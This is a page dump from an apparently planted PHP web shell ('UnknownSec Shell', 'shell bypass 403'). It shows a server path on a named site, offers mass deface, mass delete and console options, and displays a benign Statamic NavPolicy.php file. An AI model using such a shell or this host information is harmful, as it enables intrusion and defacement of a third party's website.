shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
lolasweb.brannanatkinson.com
/
vendor
/
statamic
/
cms
/
src
/
Policies
/ [
drwxrwxr-x
]
upload
mass deface
mass delete
console
info server
name :
NavPolicy.php
<?php namespace Statamic\Policies; use Statamic\Facades\Nav; use Statamic\Facades\User; class NavPolicy { use Concerns\HasMultisitePolicy; public function before($user) { $user = User::fromUser($user); if ($user->hasPermission('configure navs')) { return true; } } public function index($user) { $user = User::fromUser($user); if ($this->create($user)) { return true; } return ! Nav::all()->filter(function ($nav) use ($user) { return $this->view($user, $nav); })->isEmpty(); } public function create($user) { // handled by before() } public function store($user) { // handled by before() } public function configure($user) { // handled by before() } public function view($user, $nav) { $user = User::fromUser($user); if (! $this->userCanAccessAnySite($user, $nav->sites())) { return false; } return $this->edit($user, $nav) || $user->hasPermission("view {$nav->handle()} nav"); } public function edit($user, $nav) { $user = User::fromUser($user); if (! $this->userCanAccessAnySite($user, $nav->sites())) { return false; } return $user->hasPermission("edit {$nav->handle()} nav"); } public function update($user, $nav) { $user = User::fromUser($user); return $this->edit($user, $nav); } public function delete($user, $nav) { // handled by before() } }
© 2026 UnknownSec